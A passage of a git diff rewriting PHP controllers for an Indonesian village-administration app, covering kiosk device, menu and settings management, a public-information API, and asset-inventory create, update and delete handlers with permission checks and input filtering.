route('anjungan.insert'); + $data['anjungan'] = null; + } + + return view('admin.anjungan.form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (AnjunganModel::create(static::validated($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = AnjunganModel::findOrFail($id); + + if ($data->update(static::validated($this->request, $id))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (AnjunganModel::destroy($id ?? $this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + public function kunci($id = null, $val = StatusEnum::TIDAK) + { + $this->redirect_hak_akses('u'); + + if (! cek_anjungan()) { + redirect_with('warning', 'Untuk mengaktifkan harus memesan anjungan terlebih dahulu.'); + } + + $kunci = AnjunganModel::findOrFail($id); + $kunci->update(['status' => ($val == StatusEnum::YA) ? StatusEnum::TIDAK : StatusEnum::YA, 'status_alasan' => null]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + // Hanya filter inputan + protected static function validated($request = [], $id = null) + { + $anjungan = AnjunganModel::find($id); + $ip_address = AnjunganModel::tipe(1)->where('ip_address', $request['ip_address'])->first(); + $mac_address = AnjunganModel::tipe(1)->where('mac_address', $request['mac_address'])->first(); + $id_pengunjung = AnjunganModel::tipe(1)->where('id_pengunjung', $request['id_pengunjung'])->first(); + + if ($ip_address && $anjungan->ip_address != $request['ip_address']) { + redirect_with('error', 'IP Address telah digunakan'); + } + + if ($mac_address && $anjungan->mac_address != $request['mac_address']) { + redirect_with('error', 'Mac Address telah digunakan'); + } + + if ($id_pengunjung && $anjungan->id_pengunjung != $request['id_pengunjung']) { + redirect_with('error', 'ID Pengunjung telah digunakan'); + } + + $validated = [ + 'ip_address' => strip_tags($request['ip_address']), + 'mac_address' => alfanumerik_kolon($request['mac_address']), + 'id_pengunjung' => alfanumerik($request['id_pengunjung']), + 'printer_ip' => bilangan_titik($request['printer_ip']), + 'printer_port' => bilangan($request['printer_port']), + 'keyboard' => bilangan($request['keyboard']), + 'keterangan' => htmlentities($request['keterangan']), + ]; + + if ($id) { + $validated['created_by'] = $validated['updated_by'] = auth()->id; + } else { + $validated['created_by'] = auth()->id; + } + + return $validated; + } +} diff --git a/donjo-app/controllers/Anjungan_menu.php b/donjo-app/controllers/Anjungan_menu.php index f8e7bf3bf..bdf687e37 100644 --- a/donjo-app/controllers/Anjungan_menu.php +++ b/donjo-app/controllers/Anjungan_menu.php @@ -1,521 +1,263 @@ -modul_ini = 'anjungan'; + $this->sub_modul_ini = 'anjungan-menu'; + } + + public function index() + { + return view('admin.anjungan_menu.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(Menu::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + $aksi .= ' '; + $aksi .= ' '; + + if ($row->status) { + $aksi .= 'id}/1") . '" class="btn bg-navy btn-sm" title="Aktifkan Anjungan"> '; + } else { + $aksi .= 'id}/0") . '" class="btn bg-navy btn-sm" title="Nonaktifkan Anjungan"> '; + } + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + $tipe_link = $this->referensi_model->list_ref(LINK_TIPE); + array_pop($tipe_link); + + $data['link_tipe'] = $tipe_link; + $data['artikel_statis'] = Artikel::where('id_kategori', 999)->get(); + $data['kategori_artikel'] = Kategori::configId()->where('enabled', 1)->get(); + $data['statistik_penduduk'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['statistik_keluarga'] = $this->referensi_model->list_ref(STAT_KELUARGA); + $data['statistik_kategori_bantuan'] = $this->referensi_model->list_ref(STAT_BANTUAN); + $data['statistik_program_bantuan'] = Bantuan::get(); + $data['kelompok'] = Kelompok::tipe('kelompok')->get(); + $data['lembaga'] = Kelompok::tipe('lembaga')->get(); + $data['suplemen'] = Suplemen::get(); + $data['statis_lainnya'] = $this->referensi_model->list_ref(STAT_LAINNYA); + $data['artikel_keuangan'] = Artikel::where('id_kategori', 1001)->get(); + + if ($id) { + $data['action'] = 'Ubah'; + $data['form_action'] = route('anjungan_menu.update', $id); + $data['menu'] = Menu::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['form_action'] = route('anjungan_menu.insert'); + $data['menu'] = null; + } + + return view('admin.anjungan_menu.form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (! empty($this->request['surat'])) { + $this->surat_master_model->upload($this->request['url_surat']); + } + + if (Menu::create(static::validated($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = Menu::findOrFail($id); + + if ($data->update(static::validated($this->request, $id))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + $file = LOKASI_ICON_MENU_ANJUNGAN . Menu::find($id)->icon; + if (is_file($file)) { + unlink($file); + } + + if (Menu::destroy($id ?? $this->request['id_cb'])) { + redirect_with('success', 'Berhasil Hapus Data'); + } + redirect_with('error', 'Gagal Hapus Data'); + } + + public function kunci($id = null, $val = 0) + { + $this->redirect_hak_akses('u'); + + $favorit = Menu::findOrFail($id); + $favorit->update(['status' => ($val == 1) ? StatusEnum::TIDAK : StatusEnum::YA]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + public function urut($id, $urut) + { + $menu = Menu::findOrFail($id); + if ($urut == -1 && Menu::min('urut') == $menu->urut) { + return redirect_with('error', 'Menu sudah berada di urutan pertama'); + } + if ($urut == 1 && Menu::max('urut') == $menu->urut) { + return redirect_with('error', 'Menu sudah berada di urutan terakhir'); + } + $perubahan = $menu->urut + $urut; + Menu::where('urut', $perubahan)->update(['urut' => $menu->urut]); + $menu->update(['urut' => $perubahan]); + + return redirect_with('success', 'Berhasil Ubah Data'); + } + + protected static function validated($request = [], $id = null) + { + if (! $id) { + $urut = Menu::max('urut') + 1; + } else { + $urut = Menu::find($id)->urut; + } + + $validated = [ + 'nama' => htmlentities($request['nama']), + 'link' => $request['link'], + 'icon' => static::unggah('icon') ?? $request['old_icon'], + 'link_tipe' => $request['link_tipe'], + 'urut' => $urut, + 'status' => 1, + ]; + + if ($id) { + $validated['created_by'] = $validated['updated_by'] = auth()->id; + $file = LOKASI_ICON_MENU_ANJUNGAN . Menu::find($id)->icon; + if (is_file($file) && $request['icon']) { + unlink($file); + } + } else { + $validated['created_by'] = auth()->id; + } + + return $validated; + } + + protected static function unggah($jenis = '') + { + $CI = &get_instance(); + $CI->load->library('upload'); + folder(LOKASI_ICON_MENU_ANJUNGAN); + + $CI->uploadConfig = [ + 'upload_path' => LOKASI_ICON_MENU_ANJUNGAN, + 'allowed_types' => 'gif|jpg|jpeg|png', + 'max_size' => max_upload() * 1024, + ]; + // Adakah berkas yang disertakan? + if (empty($_FILES[$jenis]['name'])) { + return null; + } + // Tes tidak berisi script PHP + if (isPHP($_FILES[$jenis]['tmp_name'], $_FILES[$jenis]['name'])) { + redirect_with('error', 'Jenis file ini tidak diperbolehkan'); + } + $uploadData = null; + // Inisialisasi library 'upload' + $CI->upload->initialize($CI->uploadConfig); + // Upload sukses + if ($CI->upload->do_upload($jenis)) { + $uploadData = $CI->upload->data(); + $tipe_file = TipeFile($_FILES['icon']); + resizeImage(LOKASI_ICON_MENU_ANJUNGAN . $uploadData['file_name'], $tipe_file, ['width' => 100, 'height' => 100]); + + return $uploadData['file_name']; + } + redirect_with('error', $CI->upload->display_errors(null, null)); + + return null; + } +} diff --git a/donjo-app/controllers/Anjungan_pengaturan.php b/donjo-app/controllers/Anjungan_pengaturan.php index c76b08695..7c0f012f8 100644 --- a/donjo-app/controllers/Anjungan_pengaturan.php +++ b/donjo-app/controllers/Anjungan_pengaturan.php @@ -1,569 +1,93 @@ -modul_ini = 'anjungan'; + $this->sub_modul_ini = 'pengaturan-anjungan'; + } + + public function index() + { + $data['form_action'] = route('anjungan_pengaturan.update'); + $data['daftar_kategori'] = Kategori::configId()->get(); + $data['pengaturan'] = SettingAplikasi::whereKategori('anjungan')->pluck('value', 'key')->toArray(); + $data['anjungan_artikel'] = json_decode($data['pengaturan']['anjungan_artikel']); + $data['slides'] = Galery::where('parrent', 0)->where('enabled', 1)->get(); + + return view('admin.anjungan_pengaturan.index', $data); + } + + public function update() + { + $this->redirect_hak_akses('u'); + + $data = $this->validated($this->request); + + foreach ($data as $key => $value) { + SettingAplikasi::where('key', '=', $key)->update(['value' => $value]); + } + + redirect_with('success', 'Berhasil Ubah Data'); + } + + protected static function validated($request = []) + { + return [ + 'anjungan_artikel' => json_encode($request['artikel']), + 'anjungan_teks_berjalan' => strip_tags($request['teks_berjalan']), + 'anjungan_profil' => bilangan($request['tampilan_profil']), + 'anjungan_video' => strip_tags($request['video']), + 'anjungan_youtube' => strip_tags($request['youtube']), + 'anjungan_slide' => bilangan($request['slide']), + 'tampilan_anjungan' => bilangan($request['screensaver']), + 'tampilan_anjungan_waktu' => bilangan($request['screensaver_waktu']), + 'tampilan_anjungan_slider' => bilangan($request['screensaver_slide']), + 'tampilan_anjungan_video' => strip_tags($request['screensaver_video']), + 'anjungan_layar' => bilangan($request['layar']), + ]; + } +} diff --git a/donjo-app/controllers/Api_informasi_publik.php b/donjo-app/controllers/Api_informasi_publik.php index 700a67666..72212e941 100644 --- a/donjo-app/controllers/Api_informasi_publik.php +++ b/donjo-app/controllers/Api_informasi_publik.php @@ -1,577 +1,82 @@ -load->model('web_dokumen_model'); + } + + public function index() + { + redirect('ppid'); + } + + public function ppid() + { + $this->log_request(); + $get = $this->input->get(); + $tgl_dari = $get['tgl_dari']; + if (! empty($tgl_dari) && ! validate_date($tgl_dari)) { + $json_send = ['status' => 'fail', + 'data' => ['tgl_dari' => 'tgl_dari harus tanggal dalam format d-m-Y', + ], + ]; + } else { + $jenis_kirim = empty($get['tgl_dari']) ? 'semua' : 'perubahan'; + $data = $this->web_dokumen_model->data_ppid($tgl_dari); + $json_send = ['status' => 'success', + 'data' => ['ppid' => $data, + 'tanggal' => date('d-m-Y h:i:s', time()), + 'pengiriman' => $jenis_kirim, + 'tgl_dari' => $tgl_dari, + 'total data' => count($data), + ], + ]; + } + header('Content-Type: application/json'); + echo json_encode($json_send); + } +} diff --git a/donjo-app/controllers/Api_inventaris_asset.php b/donjo-app/controllers/Api_inventaris_asset.php index 1910ea211..a71b34d2d 100644 --- a/donjo-app/controllers/Api_inventaris_asset.php +++ b/donjo-app/controllers/Api_inventaris_asset.php @@ -1,577 +1,187 @@ -load->model('inventaris_asset_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_asset_model->add([ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('nomor_register'), + 'jenis' => $this->input->post('jenis_asset'), + 'judul_buku' => $this->input->post('judul'), + 'spesifikasi_buku' => $this->input->post('spesifikasi'), + 'asal_daerah' => $this->input->post('asal_kesenian'), + 'pencipta' => $this->input->post('pencipta_kesenian'), + 'bahan' => $this->input->post('bahan_kesenian'), + 'jenis_hewan' => $this->input->post('jenis_hewan'), + 'ukuran_hewan' => $this->input->post('ukuran_hewan'), + 'jenis_tumbuhan' => $this->input->post('jenis_tumbuhan'), + 'ukuran_tumbuhan' => $this->input->post('ukuran_tumbuhan'), + 'jumlah' => $this->input->post('jumlah'), + 'tahun_pengadaan' => $this->input->post('tahun'), + 'asal' => $this->input->post('asal_usul'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset'); + } + + public function add_mutasi() + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_inventaris_asset'); + $data = $this->inventaris_asset_model->add_mutasi([ + 'id_inventaris_asset' => $id_asset, + 'jenis_mutasi' => $this->input->post('mutasi'), + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual'), + 'sumbangkan' => $this->input->post('sumbangkan'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset/mutasi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_asset_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'jenis' => $this->input->post('jenis_asset'), + 'judul_buku' => $this->input->post('judul'), + 'spesifikasi_buku' => $this->input->post('spesifikasi'), + 'asal_daerah' => $this->input->post('asal_kesenian'), + 'pencipta' => $this->input->post('pencipta_kesenian'), + 'bahan' => $this->input->post('bahan_kesenian'), + 'jenis_hewan' => $this->input->post('jenis_hewan'), + 'ukuran_hewan' => $this->input->post('ukuran_hewan'), + 'jenis_tumbuhan' => $this->input->post('jenis_tumbuhan'), + 'ukuran_tumbuhan' => $this->input->post('ukuran_tumbuhan'), + 'jumlah' => $this->input->post('jumlah'), + 'tahun_pengadaan' => $this->input->post('tahun'), + 'asal' => $this->input->post('asal_usul'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset'); + } + + public function update_mutasi($id) + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_asset'); + $data = $this->inventaris_asset_model->update_mutasi($id, [ + 'jenis_mutasi' => ($this->input->post('status_mutasi') == 'Hapus') ? $this->input->post('mutasi') : null, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual') || null, + 'sumbangkan' => $this->input->post('sumbangkan') || null, + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset/mutasi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_asset'); + $data = $this->inventaris_asset_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset'); + } + + public function delete_mutasi($id) + { + $this->redirect_hak_akses('h', 'inventaris_asset/mutasi'); + $data = $this->inventaris_asset_model->delete_mutasi($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_asset/mutasi'); + } +} diff --git a/donjo-app/controllers/Api_inventaris_gedung.php b/donjo-app/controllers/Api_inventaris_gedung.php index 251161974..7b9535ac2 100644 --- a/donjo-app/controllers/Api_inventaris_gedung.php +++ b/donjo-app/controllers/Api_inventaris_gedung.php @@ -1,585 +1,184 @@ -load->model('inventaris_gedung_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_gedung_model->add([ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'kondisi_bangunan' => $this->input->post('kondisi'), + 'kontruksi_bertingkat' => $this->input->post('tingkat'), + 'kontruksi_beton' => $this->input->post('kontruksi'), + 'luas_bangunan' => $this->input->post('luas_bangunan'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'status_tanah' => $this->input->post('status_tanah'), + 'luas' => $this->input->post('luas_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung'); + } + + public function add_mutasi() + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_inventaris_gedung'); + $data = $this->inventaris_gedung_model->add_mutasi([ + 'id_inventaris_gedung' => $id_asset, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'jenis_mutasi' => $this->input->post('mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual'), + 'sumbangkan' => $this->input->post('sumbangkan'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung/mutasi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_gedung_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'kondisi_bangunan' => $this->input->post('kondisi'), + 'kontruksi_bertingkat' => $this->input->post('tingkat'), + 'kontruksi_beton' => $this->input->post('kontruksi'), + 'luas_bangunan' => $this->input->post('luas_bangunan'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'status_tanah' => $this->input->post('status_tanah'), + 'luas' => $this->input->post('luas_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung'); + } + + public function update_mutasi($id) + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_asset'); + $data = $this->inventaris_gedung_model->update_mutasi($id, [ + 'jenis_mutasi' => ($this->input->post('status_mutasi') == 'Hapus') ? $this->input->post('mutasi') : null, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual') || null, + 'sumbangkan' => $this->input->post('sumbangkan') || null, + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung/mutasi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_gedung'); + $data = $this->inventaris_gedung_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung'); + } + + public function delete_mutasi($id) + { + $this->redirect_hak_akses('h', 'inventaris_gedung/mutasi'); + $data = $this->inventaris_gedung_model->delete_mutasi($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_gedung/mutasi'); + } +} diff --git a/donjo-app/controllers/Api_inventaris_jalan.php b/donjo-app/controllers/Api_inventaris_jalan.php index a3fc72af6..25c382599 100644 --- a/donjo-app/controllers/Api_inventaris_jalan.php +++ b/donjo-app/controllers/Api_inventaris_jalan.php @@ -1,577 +1,183 @@ -load->model('inventaris_jalan_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_jalan_model->add([ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'kondisi' => $this->input->post('kondisi'), + 'kontruksi' => $this->input->post('kontruksi'), + 'panjang' => $this->input->post('panjang'), + 'lebar' => $this->input->post('lebar'), + 'luas' => $this->input->post('luas'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'status_tanah' => $this->input->post('status_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan'); + } + + public function add_mutasi() + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_inventaris_jalan'); + $data = $this->inventaris_jalan_model->add_mutasi([ + 'id_inventaris_jalan' => $id_asset, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'jenis_mutasi' => $this->input->post('mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual'), + 'sumbangkan' => $this->input->post('sumbangkan'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan/mutasi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_jalan_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'kondisi' => $this->input->post('kondisi'), + 'kontruksi' => $this->input->post('kontruksi'), + 'panjang' => $this->input->post('panjang'), + 'lebar' => $this->input->post('lebar'), + 'luas' => $this->input->post('luas'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'status_tanah' => $this->input->post('status_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan'); + } + + public function update_mutasi($id) + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_asset'); + $data = $this->inventaris_jalan_model->update_mutasi($id, [ + 'jenis_mutasi' => ($this->input->post('status_mutasi') == 'Hapus') ? $this->input->post('mutasi') : null, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual') || null, + 'sumbangkan' => $this->input->post('sumbangkan') || null, + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan/mutasi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_jalan'); + $data = $this->inventaris_jalan_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan'); + } + + public function delete_mutasi($id) + { + $this->redirect_hak_akses('h', 'inventaris_jalan/mutasi'); + $data = $this->inventaris_jalan_model->delete_mutasi($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_jalan/mutasi'); + } +} diff --git a/donjo-app/controllers/Api_inventaris_kontruksi.php b/donjo-app/controllers/Api_inventaris_kontruksi.php index c5cb7ec5a..a5156626f 100644 --- a/donjo-app/controllers/Api_inventaris_kontruksi.php +++ b/donjo-app/controllers/Api_inventaris_kontruksi.php @@ -1,609 +1,122 @@ -load->model('inventaris_kontruksi_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_kontruksi_model->add([ + 'nama_barang' => $this->input->post('nama_barang'), + 'kondisi_bangunan' => $this->input->post('fisik_bangunan'), + 'kontruksi_bertingkat' => $this->input->post('tingkat'), + 'kontruksi_beton' => $this->input->post('bahan'), + 'luas_bangunan' => $this->input->post('luas_bangunan'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'tanggal' => $this->input->post('tanggal_mulai'), + 'status_tanah' => $this->input->post('status_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_kontruksi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_kontruksi_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang'), + 'kondisi_bangunan' => $this->input->post('fisik_bangunan'), + 'kontruksi_bertingkat' => $this->input->post('tingkat'), + 'kontruksi_beton' => $this->input->post('bahan'), + 'luas_bangunan' => $this->input->post('luas_bangunan'), + 'letak' => $this->input->post('alamat'), + 'no_dokument' => $this->input->post('no_bangunan'), + 'tanggal_dokument' => $this->input->post('tanggal_bangunan'), + 'tanggal' => $this->input->post('tanggal_mulai'), + 'status_tanah' => $this->input->post('status_tanah'), + 'kode_tanah' => $this->input->post('kode_tanah'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_kontruksi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_kontruksi'); + $data = $this->inventaris_kontruksi_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_kontruksi'); + } +} diff --git a/donjo-app/controllers/Api_inventaris_peralatan.php b/donjo-app/controllers/Api_inventaris_peralatan.php index 015023991..4a85ebb9e 100644 --- a/donjo-app/controllers/Api_inventaris_peralatan.php +++ b/donjo-app/controllers/Api_inventaris_peralatan.php @@ -1,609 +1,181 @@ -load->model('inventaris_peralatan_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_peralatan_model->add([ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'merk' => $this->input->post('merk'), + 'ukuran' => $this->input->post('ukuran'), + 'bahan' => $this->input->post('bahan'), + 'tahun_pengadaan' => $this->input->post('tahun_pengadaan'), + 'no_pabrik' => $this->input->post('no_pabrik'), + 'no_rangka' => $this->input->post('no_rangka'), + 'no_mesin' => $this->input->post('no_mesin'), + 'no_polisi' => $this->input->post('no_polisi'), + 'no_bpkb' => $this->input->post('no_bpkb'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan'); + } + + public function add_mutasi() + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_inventaris_peralatan'); + $data = $this->inventaris_peralatan_model->add_mutasi([ + 'id_inventaris_peralatan' => $id_asset, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'jenis_mutasi' => $this->input->post('mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual'), + 'sumbangkan' => $this->input->post('sumbangkan'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan/mutasi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_peralatan_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'merk' => $this->input->post('merk'), + 'ukuran' => $this->input->post('ukuran'), + 'bahan' => $this->input->post('bahan'), + 'tahun_pengadaan' => $this->input->post('tahun_pengadaan'), + 'no_pabrik' => $this->input->post('no_pabrik'), + 'no_rangka' => $this->input->post('no_rangka'), + 'no_mesin' => $this->input->post('no_mesin'), + 'no_polisi' => $this->input->post('no_polisi'), + 'no_bpkb' => $this->input->post('no_bpkb'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan'); + } + + public function update_mutasi($id) + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_asset'); + $data = 